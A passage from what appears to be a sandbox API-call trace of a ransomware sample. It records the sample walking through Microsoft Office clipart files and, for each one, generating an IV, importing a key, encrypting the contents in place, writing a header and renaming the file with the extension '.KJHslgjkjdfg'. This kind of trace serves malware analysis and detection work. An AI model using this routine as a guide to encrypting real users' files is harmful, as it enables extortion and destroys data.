pbData=0x2bdd90, dwFlags=0x0) returned 1 [0189.091] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.091] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x7ca4, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x7ca4, lpOverlapped=0x0) returned 1 [0189.092] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x7cb0, dwBufLen=0x7cb0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x7cb0) returned 1 [0189.092] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.092] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x7cb0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x7cb0, lpOverlapped=0x0) returned 1 [0189.092] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0189.092] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x7d84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.093] SetEndOfFile (hFile=0x114) returned 1 [0189.095] GetProcessHeap () returned 0x2a0000 [0189.095] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0189.095] GetProcessHeap () returned 0x2a0000 [0189.095] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0189.095] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00260_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00260_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00260_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00260_.wmf.kjhslgjkjdfg")) returned 1 [0189.096] CloseHandle (hObject=0x114) returned 1 [0189.096] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33e6bb00, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x33e6bb00, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0xf5c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SL00268_.WMF", cAlternateFileName="")) returned 1 [0189.096] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00268_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00268_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0189.097] GetProcessHeap () returned 0x2a0000 [0189.097] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0189.098] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0189.098] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0189.098] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0189.100] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0189.100] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0189.100] GetProcessHeap () returned 0x2a0000 [0189.100] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0189.100] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0189.100] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0189.100] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0189.100] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0189.100] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0189.100] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0189.100] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0189.100] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0189.100] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0189.100] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0189.100] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.101] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xf5c, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xf5c, lpOverlapped=0x0) returned 1 [0189.101] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xf60, dwBufLen=0xf60 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xf60) returned 1 [0189.101] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.101] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xf60, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xf60, lpOverlapped=0x0) returned 1 [0189.101] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0189.101] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1034, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.101] SetEndOfFile (hFile=0x114) returned 1 [0189.103] GetProcessHeap () returned 0x2a0000 [0189.103] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0189.103] GetProcessHeap () returned 0x2a0000 [0189.103] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0189.103] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00268_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00268_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00268_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00268_.wmf.kjhslgjkjdfg")) returned 1 [0189.105] CloseHandle (hObject=0x114) returned 1 [0189.105] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7c59500, ftCreationTime.dwHighDateTime=0x1bd4b2e, ftLastAccessTime.dwLowDateTime=0x5a980590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb7c59500, ftLastWriteTime.dwHighDateTime=0x1bd4b2e, nFileSizeHigh=0x0, nFileSizeLow=0x1dac, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SL00286_.WMF", cAlternateFileName="")) returned 1 [0189.105] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00286_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00286_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0189.107] GetProcessHeap () returned 0x2a0000 [0189.107] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0189.107] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0189.107] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0189.107] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0189.109] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0189.109] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0189.109] GetProcessHeap () returned 0x2a0000 [0189.109] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0189.109] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0189.109] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0189.109] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0189.109] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0189.109] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0189.109] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0189.109] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0189.109] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0189.109] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0189.109] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0189.109] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.109] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1dac, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1dac, lpOverlapped=0x0) returned 1 [0189.110] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1db0, dwBufLen=0x1db0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1db0) returned 1 [0189.110] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.110] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1db0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1db0, lpOverlapped=0x0) returned 1 [0189.110] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0189.110] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1e84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.110] SetEndOfFile (hFile=0x114) returned 1 [0189.113] GetProcessHeap () returned 0x2a0000 [0189.113] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0189.113] GetProcessHeap () returned 0x2a0000 [0189.113] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0189.113] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00286_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00286_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00286_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00286_.wmf.kjhslgjkjdfg")) returned 1 [0189.114] CloseHandle (hObject=0x114) returned 1 [0189.114] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x38ab6f00, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x38ab6f00, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x1268, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SL00298_.WMF", cAlternateFileName="")) returned 1 [0189.114] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00298_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00298_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0189.116] GetProcessHeap () returned 0x2a0000 [0189.116] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0189.116] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0189.116] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0189.116] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0189.118] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0189.118] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0189.118] GetProcessHeap () returned 0x2a0000 [0189.118] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0189.118] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0189.118] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0189.118] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0189.119] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0189.119] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0189.119] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0189.119] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0189.119] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0189.119] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0189.119] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0189.119] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.119] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1268, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1268, lpOverlapped=0x0) returned 1 [0189.122] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1270, dwBufLen=0x1270 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1270) returned 1 [0189.122] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.122] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1270, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1270, lpOverlapped=0x0) returned 1 [0189.122] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0189.122] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1344, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.122] SetEndOfFile (hFile=0x114) returned 1 [0189.124] GetProcessHeap () returned 0x2a0000 [0189.124] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0189.124] GetProcessHeap () returned 0x2a0000 [0189.124] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0189.124] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00298_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00298_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00298_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00298_.wmf.kjhslgjkjdfg")) returned 1 [0189.126] CloseHandle (hObject=0x114) returned 1 [0189.126] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe89bcf00, ftCreationTime.dwHighDateTime=0x1bd4b1a, ftLastAccessTime.dwLowDateTime=0x5a980590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe89bcf00, ftLastWriteTime.dwHighDateTime=0x1bd4b1a, nFileSizeHigh=0x0, nFileSizeLow=0x20e0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SL00308_.WMF", cAlternateFileName="")) returned 1 [0189.126] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00308_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00308_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0189.127] GetProcessHeap () returned 0x2a0000 [0189.127] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0189.127] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0189.127] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0189.127] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0189.127] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0189.127] GetProcessHeap () returned 0x2a0000 [0189.127] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0189.127] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0189.127] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0189.127] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0189.129] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0189.129] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0189.129] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0189.129] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0189.129] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0189.129] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0189.130] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0189.130] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.130] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x20e0, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x20e0, lpOverlapped=0x0) returned 1 [0189.130] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x20e0, dwBufLen=0x20e0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x20e0) returned 1 [0189.131] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.131] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x20e0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x20e0, lpOverlapped=0x0) returned 1 [0189.131] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0189.131] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x21b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.131] SetEndOfFile (hFile=0x114) returned 1 [0189.133] GetProcessHeap () returned 0x2a0000 [0189.133] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0189.133] GetProcessHeap () returned 0x2a0000 [0189.133] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, 